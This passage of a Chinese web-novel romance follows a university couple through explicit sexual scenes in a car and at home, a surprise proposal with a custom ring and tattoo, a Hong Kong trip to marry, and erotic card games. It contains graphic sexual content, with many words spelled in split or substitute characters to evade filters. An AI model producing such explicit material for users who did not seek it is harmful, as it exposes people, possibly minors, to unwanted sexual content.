兴许是没料到柯愫澄会提这事,靳宥司眉梢一挑:“你想是吧。”说着这话,他抬了抬下巴,示意:“拿来吧。” “我没说。”柯愫澄极力否认。 靳宥司了解柯愫澄,她脸皮薄得很:“不需要你说。” 他话音刚落,不乐意的柯愫澄这会儿身体倒是自觉得很,已经伸手去够那盒薄荷糖。 见此情景,靳宥司笑起来:“看来是真想。” 够了!柯愫澄的脸瞬间涨得通红,就要把糖丢回去,被靳宥司抓住手腕,哄着:“错了。”成功拿到她手里的薄荷糖,靳宥司打开盖子,丢了一颗到嘴里。清凉的感觉瞬间在口腔中蔓延开来。这糖是硬糖,靳宥司等不到它融化,总得做点什么,感受到柯愫澄的手已经来到了自己的月,要上。 她问:“你怎么想的,把带小铃铛的红绳系月要上。”靳宥司不想说,他脸皮也薄,柯愫澄明明知道的,还非得问,故意成分太严重了点。他想报复她,右手拉住后衣领,往前一拽,轻松月兑掉了短袖。 柯愫澄的注意力立马集中到他的月要上,上手轻轻拨弄了一下小铃铛,大概是这铃铛个头太迷你的缘故,发出的声不大,但足够涩,情。 柯愫澄已经忍不住,她现在好饿,快馋死了。 听到靳宥司问:“喜欢吗?” 柯愫澄强装淡定:“还好吧。” 话音刚落,靳宥司将嘴里的薄荷糖咬碎。 柯愫澄听声,抬起了头,刚撞上他的视线,嘴唇就被堵了个严实。舌尖探进去,凉爽的感觉刺激着味蕾,他们的舌缠在一起,没有丝毫章法的搅着。 这回轮到柯愫澄还没亲够,靳宥司就停了下来。 被放倒,值得庆幸的是,柯愫澄喜欢穿格子裙,要不然也做不到秒拽掉,直接往前排座位上丢。 看到靳宥司礼貌的俯首,他是不是立人设立太久,如果不是在后座,是车外边,两辆车的中间位置,他是不是就直接蹲下了? 也不等柯愫澄反应,清凉感瞬间转移到了别处。 兴许是路面上又有强降雨的缘故,暴风雨来临之际,受到惊吓的人们,略微有些慌乱的抖动起来,想着跑去屋檐下躲雨。而退更却被抓住。 因为是在地下车库,所以避免不了有车子经过。柯愫澄担心会被发现,感官系统逐渐开始放大。未知的电流通过全身,前所未有的Pleasure,让柯愫澄被迫,捂住了自己的嘴。 靳宥司灼热的呼吸就在耳畔。 撩拨着。 大概也是这个缘故,好几次靳宥司都觉得,与强劲的对手PK,手上的武器都要撇在山洞,这位玩家是私下偷偷练了吗?大boss真是没料啊,直接倒吸一口气。 又是一顿切磋。 柯愫澄时时刻刻注意着车外,她真怂了行吧。附到他耳边小声说:“速战速决行不行。” 靳宥司直接拒绝:“不太行,你不才玩了两次游戏吗?就饱了?我还想着等会儿叫火锅到家里吃。” 说着这话,他也没闲着,那根红绳上的铃铛,叮铃当啷的,特别勾人。 要不说男人就得经常跑健身房,之前在霍思顿住的时候,靳宥司常去酒店的健身房,现在来这里蹭住了,一周会拿出五天的时间去小区里的健身房健身,柯愫澄没陪他去过,他总是一大早就跑去,柯愫澄起不来床。 正因如此,他才这般性感。 而大boss似乎不太想继续和游戏玩家进行正面较量,被控制住双手,柯愫澄就用指甲掐靳宥司的手背,本来美甲就长,掐进肉里留出很深的印记,靳宥司全然不在意,也 不觉得疼。 紧接着就是大招的输出,他带着她换挑战区,以及从背包中拿新的武器。 靳宥司算是发现了,除了摊煎饼,柯愫澄第二喜欢的就是吃橙子,大概是因为这两种食物,在大学城最火爆?两家店铺都在后街最里边的位置,走到顶才能看到招牌。 柯愫澄喜欢在卖橙子的铺子前排长队,喜欢堵在门口,被人挤人也不恼,出些细细的动静,然后继续往店铺里进,坐在店铺的椅子上,结结实实的坐下。 兴许是排队排太久的缘故,坐到椅子上后她就不愿意云力了,说这样疏附,可店铺老板不乐意啊,倒是不会把人赶走,只是把着纤细,把人抬起,又放下,反反复复,说这是我的椅子,买东西的都去外边站着等。 柯愫澄不知道这次车内正东游戏玩了多少个小时,唯一的感受就是上天做了好几次神仙,然后就是肚子饿到爆炸。 回到家,两人分别去浴室洗了澡,等洗完了,叫的外卖也到了。他们边吃边看电影,吃完饭又去玩了几轮游戏,炒了香喷喷的饭。 之后的日子照旧过着,五月结束,六月就进入到了紧张的期末月。 他们也没别的事可做,学累了就炒饭,炒累了,柯愫澄就被拽起来继续学习,有次柯愫澄在录期末考试的视频,靳宥司从浴室出来,果着入了镜。 柯愫澄在手机屏幕里看到他,吓得赶忙捂住镜头,脑子笨到不知道直接结束录制,还回过头问他:“你怎么不穿衣服?” 此时靳宥司已经走了过来,拽住柯愫澄的胳膊,把她拖走:“方便办事儿。” 一个半小时后,两人办完了事,柯愫澄的嘴也肿了,脖子留了痕。为了赶时间,她随便用遮瑕遮了吻痕,继续完成录制任务。 就这样,一个月晃眼而过,随着期末考试结束,大学生们也终于解放了。 隔天柯愫澄直接睡到了大中午才醒,醒来后吃了午饭,她就换衣服准备出门。临走前才跟靳宥司说:“我定了个东西,去取一下。” 这会儿靳宥司正在厨房调酒,因为昨晚睡前柯愫澄说想喝没名字。可现在才调了一半,人居然要跑了。他将调酒工具撂到一旁:“我陪你去。” 柯愫澄已经走到玄关处换鞋:“不用,主要是我约了黎荔一块儿逛街,顺带去店里取东西。” 听到黎荔的名字,靳宥司瞬间放下心里。 只是没想到,这一等就等到了天黑。柯愫澄从下午就出门了,现在饭点都过了,她才不急不慢的回来。 靳宥司正坐在沙发上,他指尖夹了根烟,面前的电视机里放着美剧,是悬疑恐怖片,柯愫澄进门的时候,画面停留在全剧最血腥的地方,还是未删减版,特恶心。 而柯愫澄注意到,茶几上放着的手机,挂着一通电话,是外放的状态,电话那头是阮东的声音。 "等会儿澄子回了你跟她商量一下,我真心觉得七月份那个音乐节有意思,挺大型的,主办方跟我老熟了,他人特别好,主要是大方。" 看到柯愫澄已经换好拖鞋过来客厅,她两手空空,不像去购物回来的样子。靳宥司应了阮东一声:“行,她回来了,我跟她说。” 随着电话被挂断,柯愫澄在沙发上坐下:“阮东又接什么活动了?” “没仔细听。”他回得快。 柯愫澄完全没反应过来,愣愣的瞅了他一眼:“那你刚刚在想什么?” “想你怎么还不回来。” 靳宥司现在说话是越来越直接了。 柯愫澄看到他吸了最后一口烟,将烟蒂在烟灰缸里捻灭,她来了兴致:“你会吐烟圈吗?” "会,想看?"柯愫澄点头:“有点,你觉得我学得会吗?” 听到后半句话,靳宥司稍稍拧了下眉:“烟都不抽,你学什么吐烟圈。” 柯愫澄不在意这些,拒绝了就拒绝了:“那你吐给我看看。” 靳宥司拿起茶几上的烟盒,从里头抖出一根烟咬在嘴边,打火机点燃。 看到前端冒出火星子,他轻轻吸了一口,烟雾在口腔里停留了2,3秒,将嘴巴收起成o型,像吹口哨一样,用舌头轻轻推出一团烟雾。 一小个一小个的烟圈被吐了出来。柯愫澄抬手,中指从烟圈里穿了过去。 兴许是没料到她会这样,靳宥司怔了一瞬。 柯愫澄在这时说:“能连着吐好多个吗?然后像我刚刚那样。” 要求还挺多的,靳宥司并不知道柯愫澄为什么突然想看吐烟圈,满脑子都是她刚刚的那个动作。 他又吸了一大口烟。 而此时,不远处的电视机里,播放着主人公逃跑的画面,恐惧尖叫声回荡在客厅,但两人并没有过度关注。 等待烟在口腔里停留的几秒钟时间,柯愫澄的手已经放进了口袋。 靳宥司接连吐出烟圈,比前一次还连贯,也更多,更密。他边吐着烟圈,学柯愫澄刚刚的动作,中指穿过其中一个烟圈的瞬间,柯愫澄将一枚戒指戴进了他的中指,就在 周身烟雾缭绕,靳宥司来不及反应,柯愫澄眼神灼热的望着他:“靳宥司,我想跟你结婚,你愿意娶我吗?” 89、卡牌 一瞬间,靳宥司鼻尖泛起酸意,眼圈微红,感受着中指被牢牢圈住:“愿意,非常愿意,但不能你来。” 柯愫澄知道他这里的你来是什么意思,已经拉住他的手,再次朝他面前挪了挪位置,靠得更近了些:“为什么不能我来?” 大概是有某种执念,靳宥司也说不清楚具体原因,只是再次开口:“就是不能。” 不知道是这句话戳中了柯愫澄的笑点,还是此时此刻特别符合奶狗形象的这股劲,他太软了吧,先前边抽烟边打电话时,神情里明显藏着冷意,这会儿却娇娇的。属于是,心里爽到要命,但又忍不住抱怨先开口求婚的居然是柯愫澄。 不过都不等他说其他,柯愫澄就开始解衬衫的扣子,靳宥司还以为她要使那种以身相许的招数,瞳孔骤然收缩,想着她是不是对正经求婚有什么误解,已经迅速抓住她继续解扣子的手。 柯愫澄直接挡掉,还忍不住嘲笑说:“你想什么呢。” 他能想什么,想柯愫澄脑袋瓜子里究竟装了些什么东西。 就看到她已经把衬衫领口的两枚扣子解掉了,随后她将衬衫衣领拽到左肩,露出靠近心脏位置的纹身。 是一枚红色的莫比乌斯环,内圈由靳宥司的名字拼音组成,外圈的左半部分画的线条,右半部分是他的生日。 看着这枚纹身上还贴着保鲜膜,靳宥司一时间竟说不出来任何话,这一重又一重的惊喜让他怀疑,这是不是在梦里啊,也太不真实了点。柯愫澄想干嘛啊,来真的啊,她是怎么做到一上来就把惊喜值拉到最满的? 柯愫澄能看出靳宥司想说的话有很多,但又一时间不知道如何表达,完全组织不好语言,简单的几句话又觉得不足够。她之前不也这样嘛,现在也该轮到他来体验一下了。 她朝他挑了下眉,特得意:"我的新纹身好看吗?" 靳宥司唇角扬起弧度:“你下午就是偷偷摸摸去干这事儿了?” “还有取戒指。”说完这话,柯愫澄突然想到什么,笑得有点坏:“怎么样这戒指?” 靳宥司其实都没来得及看戒指,这会儿问起来,他才抬手仔仔细细看这枚戒指,就发现这戒指的款式市面上似乎很少见,又或者说他压根儿没见过这种款式的戒指。 戒指的外圈分为两部分,上面部分镶嵌着一颗紫宝石,一整圈由小钻拼写了一串希腊语,写的是柯愫澄的名字。 下面部分镶嵌着一颗蓝宝石,一整圈同样用小钻拼写了一串希腊语,写的是靳宥司的名字。 而戒指的内圈部分,用黑色雕刻了一串拉丁文:Semper amemus(永远相爱。) “你设计的?”靳宥司寻到柯愫澄的眼睛,他的眼眸中含着浅浅笑意。 柯愫澄嗯了声:“微信里那个新朋友,江浙沪渣男头像那人,是我找的特有名的珠宝设计师,这枚戒指就是他做的。” 柯愫澄说得轻巧,又莫名有种故意看人笑话的感觉。 而靳宥司在听到这番话后,明显感到不可置信,眉心不自觉皱了起来:“???你说他是珠宝设计师?” 柯愫澄就知道靳宥司猜不到,看到他这表情,就觉得特逗。 没忍住笑出了声:“没想到吧,还以为我出轨了来着呢,啪啪打脸了吧靳主席~” 直到这会儿,靳宥司才彻底弄明白为什么柯愫澄之前会说那样的话,明明已经十分不满,都开始冷战了,但她死活不说明白两人的关系,还保证就隐瞒这一次,之后和好如初了也不解释,合着是为了准备惊喜啊,那的确不能说,就是这一个月真的把他气个半死。 靳宥司这人还是挺好面子的,不承认自己吃醋丢了脑子,要怪就怪那个江浙沪设计师,用什么头像不好,非得用个渣男头像。 怪完人,靳宥司提议:“暑假两个月,要不要去港城玩儿。” 其实要是靳宥司不提,柯愫澄也会要求去一趟。 她爽快道:"好啊,七月份挑个好日子,咱们把证领了呗。" 两人都是速战速决的性格,抛开前期拉扯的那么几个月,他俩在别的方面,速度是极快的,而现在,柯家和靳家差不多处理好了外界乱七八糟的声音,他俩没办法等到十一月份了,大陆领不了证,就先跑港城去领,反正就是谁也拦不住他俩。 也是从这晚开始,两人着手准备相关资料,靳宥司早早就上官网预约了领证时间,两周后他们出发前往港城。 时隔两个月再来,下飞机后的第一站,他们就先去了义顺牛奶公司,打包了两份双皮奶。柯愫澄馋这一口馋了足足两个月,拎着双皮奶去找店吃晚饭的路上,她就迫不及待揭盖吃了好几口。认识这么久以来,靳宥司还真没见她这么喜欢吃过一样东西,先前生日买的那家店的蛋糕除外。 为了防止柯愫澄光顾着吃,不看脚下的路,靳宥司全程让她靠里侧走,手臂一直搭在她肩膀上,听她边吃边说:“这家店的双皮奶怎么可以做得这么好吃,你那份别吃了,留给我吧。" 靳宥司就笑,满眼宠溺的看着她,也不说什么。柯愫澄以为他不答应呢,手肘往他胸口上撞,还瞪他:“你这人怎么这么小气。” 柯愫澄瘦,本来手肘的位置就只有骨头,戳人就够痛,现在简直痛上加痛,但靳宥司的忍痛努力强,不过他也算是学聪明了,直接就装上了。捂着胸口,发出一阵阵剧烈的咳嗽,表情都配合着变得痛苦扭曲。 柯愫澄呼吸滞了一瞬,转过头看着他:“这么痛?我很用力吗?” 靳宥司还在那演,脑袋直接埋进柯愫澄的颈窝,说话声小小的:“疼。” 柯愫澄信以为真,赶紧用手轻轻揉他的胸口,毕竟靳宥司还从来没喊过痛。 她挺抱歉的:“对不起啊,我下次轻点。” 是轻点,不是不撞了。 靳宥司秉持着做戏做全套的精神,偷着乐原谅了柯愫澄。 看她真挺内疚的,靳宥司没忍心一直闹她,跟她说:“我已经找人来学手艺了,回去后可以直接在幻师吃到。” 这是柯愫澄没想到的,不跟他抢吃的了,将手里这份双皮奶递给他:“你吃吧。” 其实这两份双皮奶都是买来给柯愫澄吃的,靳宥司搭着吃两口就够了,看她这么大方,他没忍住捏了下她的脸颊。柯愫澄今天没化妆,随便他捏,他倒是还捏上瘾了,之后一直到两人进一兰拉面,坐到小隔间,没隔几分钟靳宥司就要上手捏几下,把柯愫澄都弄烦了。瞪着他警告说再上手今晚就分房睡。 该说不说,柯愫澄是会抓人弱点的,靳宥司老实了,吃完自己这份拉面,又吃掉了柯愫澄剩下的半碗。 吃饱喝足,两人慢悠悠走在港城街道上。 七月份的港城是炎热与潮湿交织的,哪怕已经入夜,余热却没能完全消散,偶尔有海风吹过,带着一丝丝咸湿和凉爽,但空气中依旧闷热难耐。 散了会儿步,消消食,路过一家便利店,柯愫澄突然来了点兴致,问靳宥司:“家里有酒吗?” “可以买点小甜水,家里只有烈酒。”说着,他就牵着柯愫澄走进了便利店。 柯愫澄挑选小甜水的间隙,靳宥司已经看中了收银台前面摆放的装酸奶容器。 结账时,他顺手就拿了两盒十只装的。而柯愫澄这会儿都没注意到,正在挑选买袋什么糖果吃,最后她选了一袋名叫eclipse的柠檬味糖。 简单买了些东西,保姆车已经停靠在了路边上。 坐上车,柯愫澄倒头就睡,再睁眼保姆车已经开进别墅,停在了地下车库。柯愫澄还有点困,上午为了赶飞机,起了个大早,这会儿眼睛都睁不开。下了车两人就直接坐电梯上到了一楼。 靳宥司将便利店买来的东西放到了客厅茶几上,再去酒柜里拿了些洋酒出来,洗调酒工具的时候,柯愫澄已经趴到了沙发上。 她拿着遥控打开投影仪,想着找个电影看看,她还舍不得睡觉。余光瞟到茶几上摆放着两副卡牌。她有些好奇,坐起身子,把卡牌拿过来看:“这是什么?” 两副卡牌两个颜色,一盒是紫色混着点绿黄色,另一盒是红色混着点橙绿色,这两副卡牌莫名有种禁,忌窒息的感觉。盒子上写着:MAY you be free to PLAY,紫色这盒最下角写着牵引两字,红色这盒写着无距两字。 正仔细琢磨着,靳宥司说:“用来调,情的。”说这话时,他的声线倦懒低沉,一字一顿间透着暧昧。 柯愫澄有些意外:“你什么时候买的?这卡牌你之前用过?” 靳宥司已经清洗干净调酒工具,听到柯愫澄的话,他似乎有些无奈:“塑封膜都没拆。” 柯愫澄知道啊,没拆就表示没用过吗,就不能是玩过觉得有趣,所以特意买了两副新的来玩吗? 靳宥司都用不着猜,光看她的表情都能悟出来其中的意思,警告一声:"等会儿别怂。" 柯愫澄不说了,开始拆塑封膜,拆掉后她打开其中一盒卡牌,从中间抽出一张,看了下上面的内容。红色的卡牌右上角写着其x式,卡牌的中心位是俩小人,红色的小人左在绿色的小人审上。小人的下面有三行字:一方曲溪左在;另一方审,题上;伤夏或钱侯纽要。三行字的下面写着:Ti,位牌。 看到这张牌上的内容,柯愫澄瞳孔骤然收缩,这玩意……真的只是调/情,不是用来干坏事的吗?这也太刺激了点吧。 紧接着,柯愫澄拆了另一副紫色的卡牌。拿出一张卡牌,上方写着玩法牌三个字。 中间一行字是:第二天早上把对方○酉星。 这真的能播吗……? 柯愫澄还想接着看,不过都不等她抽出一张新卡牌,不远处中岛台前的靳宥司提醒了句:“别看了,等会儿没意思了。” 好吧,也的确得有点惊喜,游戏才能更顺利的进行下去。 柯愫澄把卡牌放下,问他:“你这从哪搞来的?” 靳宥司回得随意:“梁清屿送的。” 闻言,柯愫澄下意识蹙眉:“他怎么这么不正经,尤绘压根儿玩不过他。”这话里莫名有种打抱不平的感觉。 “你确定吗?”靳宥司已经从中岛台过来,他手里拿着好几瓶洋酒,以及两只酒杯,手指上还挂了一桶冰块。 柯愫澄脱口而出:“不然呢。” “他俩上周分的手,彻底。”靳宥司的语调平静无波澜。 柯愫澄却直接啊出了声:“为什么?” 将手里的东西放到茶几上,靳宥司回:"不清楚,就梁清屿生日那天两人分的。" 柯愫澄有印象,原本还说有个生日局,结果临时取消了,那天他俩都出门在去派对的路上,通知取消后就在附近找了家饭店随便对付了一口。 只是当时靳宥司并没有跟自己说,想必他也是最近两天才得到的消息。虽然梁清屿这人看着就不像什么好人,但柯愫澄还是有些遗憾:“那领证当天的见证人不是得重新找了?” “找黎荔和陈弗凡吧,他俩应该很乐意。”说着这话,靳宥司拧开瓶盖,倒了一小杯威士忌在冰杯中。 他仰头将酒液送入口中,余光票到柯愫澄已经掏出手机。 “我现在跟他俩说一声,他们寒暑假特别喜欢去外面跑,指不定已经订好飞机票。” 不等柯愫澄点进黎荔的聊天框,靳宥司一把将手机夺走,往沙发上一丢:“不急,凌晨再通知也来得及。”说完这话,靳宥司把柯愫澄拽到地毯上坐着: "想先玩哪副牌?" “两副混一起?” 靳宥司正有此意,快速将两副牌混合到一起,清理好,放到了桌面上。 随后,柯愫澄提议:“我们要不玩个游戏?给对方调酒,猜错了基酒和辅助材料,就随机抽取一张牌并兑现。” 靳宥司没意见,顺手找了部电影放着,声音调到最低,几乎听不太到声音的程度,再将客厅的蓝牙音响打开,选了一张极其暧昧的专辑播放。 第一轮先由柯愫澄调酒。靳宥司自觉闭眼,仰头,脑袋靠在沙发上。 柯愫澄余光瞟了眼,那性感的喉结简直让人忍不住要啃上一口,但她还是控制住了。找了个调酒的教程,一步步跟着倒酒。 好不容易调至完毕,她将一杯蓝色的酒递到了靳宥司的面前。靳宥司就浅浅尝了一口:“金酒加橙子利可酒,加蓝橙力娇酒加椰子水。” 这么多种都能猜到,柯愫澄直接泄了气:“这个我玩不过你。” “那就多抽几张牌,玩牌你玩得过。”他语调闲散,说的话意味深长。 柯愫澄十分不屑,抽出一张牌。她抽到的是紫色牵引系列中的互换牌。卡牌上写着:抽到后,本回合诗幕身份互换。 柯愫澄挑眉,紧接着又抽了一张。同样是牵引系列,这张卡牌的左上角印着诗的首字母,右上角写着树负,绳。卡牌的正中间是两条紫色的绳儿,交织在一起的画面。图案的下方有两行文字,第二行写着:可用丝带代替。文字的下面写着道具牌三个字。 这不凑巧了吗,柯愫澄今天衬衫领口戴的不是领结,而是领带。看到这张卡牌上的任务内容,她直接取下领带,往靳宥司手月宛上系。 做完这些,柯愫澄把一沓牌放到他面前:“你抽一张,你的任务。” 靳宥司这会儿已经有了些许反应,兴许是蓝牙音响里的歌曲过于勾人,又或者是光想想,就足够磁极。他随意抽取了一张卡牌,好巧不巧是一张场景牌。卡牌上写着:你是TA的镜像,你在王元,浓自己的同时欣赏着TA。 看到任务内容,柯愫澄彻底兴奋了:“你赶紧的,掏出来。” 靳宥司没动作,还靠着沙发坐着,姿态极为闲散。他只是抬了抬眉尾:“过来,渡口酒。” 柯愫澄秒懂,仰头直接将玻璃杯里剩下的酒液全灌进口中,然后凑上前,渡进靳宥司的嘴里,唇舌交缠之际,酒液顺着柯愫澄的嘴角滑落。喝到酒,吻也结束了。 离开前,靳宥司还最出了声,看到柯愫澄唇角边流下来的酒,他上前,张嘴,伸舌头甜了个干净,舌忝完还不忘再次最了下柯愫澄的嘴唇。 四目相对,靳宥司说:“很甜。” 柯愫澄细细品味了一下刚刚自己调制的那款酒,突然起了劲,问靳宥司:“你觉得我适合做调酒师吗?” “你适合discipline。”靳宥司说这话时,语调极为痞,又或者说,这会儿他整个人都透着一股子痞劲。 柯愫澄知道这个单词的意思,唇角不着痕迹的牵起:“有没有丝带?” “你想干嘛?你不是欣赏者吗,现在不可以动哦。”靳宥司有些故意,好像玩这场游戏就是为了看柯愫澄再度暴露本,性。柯愫澄承认,靳宥司赢了,他太懂拿捏,这会儿柯愫澄就一个感受,这有空调的房间,怎么比街道上还要燥热难耐呢。她憋不住了:“我想捂住你的目艮目青。” “我想看着你。”那些规则就是这么写的,不是吗? 柯愫澄有些生气,忍不了再次凑上前吻住了他。 她贵坐在他的腿边,手已经不劳氏,势必要自己代建帐篷,可都不等人反应,帐篷还是被风雨冲石皮。 柯愫澄以为自己的手已经足够暖和,触碰上的那一下却还是被灼烧得一塌糊涂,直接烫到赶紧收回了手。 靳宥司也不让柯愫澄继续亲,演绎给她看。再此之前,靳宥司并没有这个习惯,对于性,爱一事顶多听身边的人提起,唯一的一次接触小影片,还是被人糊弄,点开了某个链接。视频播放的一瞬间,人都没看着,光听到两人的声音,就足够让他感到恶心,当即便将笔记本电脑重重关上。就因为这么个事,他还找了给链接那人的麻烦。 小影片不看,那就更别提自己来了,有生理变化很正常,有想法也很正常,但他从来没有尝试过,都是默默忍受。而第一次控制不住自己,冲上前撕石皮,就是遇到了柯愫澄的那个晚上,他彻彻底底失控,还是带着气,失控的。 而现在,看着欣赏者屯口因口水的云力作,这简直太诱惑人。 随着动作复,读越来越大,柯愫澄从一堆卡牌中找到一开始看到的那张卡牌,拿到靳宥司面前。 “现在能用这张吗?” 靳宥司看到上面的文字,第二天早上…… 他眉梢轻轻一挑:“你现在是诗方,要来也是我来。” “规矩是死的,人是活的啊。”说着她就要上前。 被靳宥司无情的挡了下,手臂推着她的肩膀,不让她靠前:“不准耍赖。” 柯愫澄算是发现了,靳宥司随随便便来这么一下,她就不想当什么主导者,她喜欢相守,喜欢被石展,被押,被冲石皮。 像是担心她再次动歪脑筋,这一轮游戏潦草结束。 靳宥司用牙齿咬住领带,将其轻松解散,往旁边一丢,穿戴整齐后:“轮到我调酒了。” 柯愫澄瞟了一眼大帐篷,真是憋得慌,就应该一直放在外面透气。 她一双眼完全挪不开,靳宥司不合时宜的提醒了一句:“别看了,闭眼。” 没辙,游戏总得继续的,柯愫澄只能被迫闭上了眼。 很快,一杯粉白渐变的酒就端到了她的面前。 柯愫澄喝了一大口,又抿了两小口:“伏特加,金酒,白朗姆,水溶C和红石榴糖浆。” 兴许是没料到柯愫澄会猜得如此的准确,靳宥司有理由怀疑:“你是不是偷偷看了。” “才没有。”柯愫澄不服气,不服完又故意说:“大概是因为和你舌吻太多次的缘故,舌头尝味道和你一样牛逼了。” 漂亮话张嘴就来啊,该说不说靳宥司特别爱听。 而这一轮柯愫澄获胜,轮到靳宥司抽牌。他依旧随便抽取了一张,看牌时,柯愫澄比他还兴奋,直接抢了去。看到他抽到的是无距系列中的场景牌。 任务内容是:你们中有人在电话会议,不能发出声音。 现在诗幕中的诗方已经切换回了最初,所以——柯愫澄迫不及待了,直接夸,坐到靳宥司的蜕上,拉着他的手往自己后月要上放,并米且抱的吻向了他。 90、偶遇 嘴唇撞在一起,两人的呼吸变得异常急促混乱。 亲了没两下,柯愫澄突然想到了卡牌上的游戏规则,停住了吻,用略微有些湿润的眼睛盯着靳宥司,并大胆提议:“要拨个电话出去吗?” 兴许是没料到柯愫澄会有这个想法,他下意识轻挑了下眉,手已经摸到排扣:“拨给谁?” “你不是学生会主席吗?不能临时开个线上会议?” “你喜欢的话可以尝试。” “不要。”柯愫澄说着玩的。 她上前凑到靳宥司的耳边,小小声说:"这是一件很私密的事情,只能由你和我来完成。" 他们俩的确喜欢追求刺激,但追求刺激的方式不会是这样的。就像柯愫澄说的那样,这是一件很私密的事情,他们本就不喜欢被人围观,情,事上更是,普通的秀恩爱气人除外。 说完这句话,柯愫澄再次吻了上来。 靳宥司能很明显的感受到她的热情,她极少这样,是换了场地的原因还是这套卡牌太过于刺激,勾起了她某些隐藏在深处还没有被发觉出来的xp呢。 靳宥司暂时不打算思考这个问题,他要做的是全身心的投入到这次性、爱当中,感受柯愫澄米且抱的亲吻,以及她急切的云力作。 原本柯愫澄还挺困来着,包括先前在玩游戏的时候,她也打了好几个哈欠,但是自从看到帐篷被搭建起来,她觉得自己不应该选择现在的这个专业,应该转行去做建筑师,她觉得自己很擅长发觉帐篷的内内外外,研究出一个特别适合装大家伙的合理帐篷,算了,那玩意儿本来就不该出现在帐篷里,需要透气的东西,就应该在一开始就掏出来。 更何况,柯愫澄无聊了就喜欢随便拿点东西在手上把玩,她喜欢玩的东西可多了,平常在外面,都是玩些正常的东西,但来到了秘密基地,还是山顶上的,那不得玩点烫的,热的,会灼烧手掌心的嘛。 可以说靳宥司身上这件衣服,他都没动手,不知道怎么的就被丢弃到了一旁,挂在沙发扶手上。 面对如此热情的柯愫澄,靳宥司觉得,她穿的这件衬衫简直太难搞,那么多粒扣子,要解到什么时候去。他就规规矩矩解了一颗,实在忍不了了,用力扯了下,扣子直接崩开了一颗:“衣服撕坏了怎么办?” 撕都撕了,能怎么办,柯愫澄压根儿不在乎,已经反手解开了自己的文,月匈排扣。 刚要吻过来,靳宥司说:“回头给你买十件新的。”话音落,他把所有的扣子都米且抱的扯开了。 显露出黑色lei丝的下一秒,他一手扶在柯愫澄的脸颊,偏头吻了上来。 柯愫澄觉得沙发和茶几之间的空间实在有限,想换个地方,可靳宥司的一只手把人完全控制住了,牢牢把着月要,不让柯愫澄瞎动,柯愫澄真不是故意要求换位置的。也十分为难,强行停住了吻,呼吸混乱的说:“坐着不术,负。痛。” 靳宥司说不准她这话的真实性,又或者说,他大胆猜测一下,柯愫澄接下来要说什么又要干什么呢。 他挑眉:"那怎么办,我还想亲一会儿。" “那你起来,坐沙发上去好不好。”说这话时,柯愫澄还稍微撒了那么一丢丢的娇,就是怕被靳宥司看穿。 但靳宥司是谁啊,能不了解柯愫澄嘛。 故意问:“你呢。” “玩玩具啊。”柯愫澄不喜欢说假话,被看穿了也随便吧,她就想要直接盟猎的攻击。而靳宥司就知道是这样,柯愫澄每次说左着不树,负的时候,就是不得劲的意思,她喜欢玩得劲的东西,也喜欢和得劲的人做些有趣的小游戏。能怎么着,搞得谁不想一样。靳宥司都没让柯愫澄站起来,直接一手环住她的月要,一手撑在沙发上,用药部的力量,将人丁,页起来,带着一起换到了个更舒适的位置。柯愫澄没想到是这样,被吓了一跳,等反应过来的时候,膝盖已经挪到了柔软的沙发上。该说不说,他的月要是真好啊。都没使劲,在动作幅度不大的情况下,带着她坐到了沙发上。但柯愫澄不想就简单的换个位置,她没什么耐心,肩带早就脱离,两人还是别在这里拉拉扯扯了吧,直奔主题不好吗? 难道靳宥司不急吗,搭建帐篷的专家跟自己面对面坐着,还不是担心她一个多礼拜没有进行剧烈运动,担心她细胳膊细腿诚售不了嘛,到时候统了雷了又喊个不停,说欺负人,说要报复回去。真是闹人。 柯愫澄能不知道自己嘛,但知道是一回事,做是另外一回事,反正她现在就一个念头,那就是,就地办了靳宥司! 她已经在刚刚的几秒钟时间里提交了转专业手续,并且成功毕业,现在她是一名建筑师,需要对这位少爷搭建出来的帐篷进行修补改造,并指出问题所在,希望少爷下次自觉点,直接放滚烫出来透气。 经过柯建筑师的一顿改造,改造完毕后的帐篷彻底破损,她转身去茶几上随便拿了一盒装酸奶的容器过来。这盒装酸奶的容器是柯愫澄没见过的,包装盒是黑色的,外国的一个牌子,盒子上的文字是金色的。 柯愫澄来不及看懂盒子上的具体内容,这都不是重点,已经用牙齿咬开了塑封膜。 她是真的急到了,跟炸了毛似的,可爱爆了,靳宥司就这么静静的看着她,视线始终无法从她脸上挪开,直到因为动作浮动跳动两下的粉嫩嫩的棉花糖,以及棉花糖上新鲜的草莓。 这片草莓园里就种了这两颗,还长得如此的漂亮,让人食欲大增,看到柯愫澄有些手忙脚乱,她的美甲实在碍事,靳宥司直接把黑色盒子夺了过来,拆开,撕掉,让酸奶容器来到它的工作岗位。 做完这些,他手动帮柯愫澄转了个身,背对着自己蔷映的左了下来。 柯愫澄直接倒吸一口气。 在启程的时候,两人还从来没有尝试过这种滋,事,柯愫澄甚至都不知道自己的月退该往哪放,又该谁来当这个船长,棉花糖就被捏住。 柯愫澄还以为这个冻琢就表示靳宥司想来做第一轮的船长呢,结果捏了两下,谁也没冻,柯愫澄正纳闷,靳宥司往上永礼一鼎。 “自己動。” 柯愫澄险些失声尖叫,手撑在靳宥司的膝盖上,当起了船长。 航海途中免不了会遇到各种各样的自然灾害,特别还是夜晚,几乎伸手不见五指,海浪和风暴会导致翻船或人员受伤。而现在,船长把握住舵盘,在夜晚的海上行驶了不到两分钟后,船上的游客明显无法控制想要冲撞,抢夺船长手上的舵盘。 像是嫌弃这位新船长的实力,简直半吊子,这样怎么跟海浪以及风暴做斗争,游客的手从棉花糖上挪到了纤细的游船舵盘上。 换了驾驶者,游船终于不再平稳,那简直比夜晚的海浪风暴还猛烈吓人。 短短的几分钟时间,游船就撞击到了雪山上,被替换下去的船长落入海水中,她下意识出声,想呼救,可诗方却在这时咬住了船长的耳垂:“电话会议已经开始,不可以发出声音哦。” 尾调微微上扬,靳宥司这般低沉而有磁性的声音,让船长更加用力的抱住了救生圈,可这救生圈简直太窄小,完全塞不下一个成年人。长达20狸米的恐怖海浪,凶猛又不可预测,乌云密布,阴风四起,被卷入深海的瞬间,柯愫澄咬住了自己的手背。 直到被靳宥司抱着上到二楼,躺到了柔软的床上,柯愫澄才有一点点力气吐槽:“没你这样的。”她说话声小小的,还怪娇的,是真的累到了。 靳宥司边给柯愫澄掖被子,笑容特别宠溺,还痞,坏得很:“我哪样了?” “铃铛哪变出来的?”柯愫澄睁开眼睛,瞪着他。 哦~~ 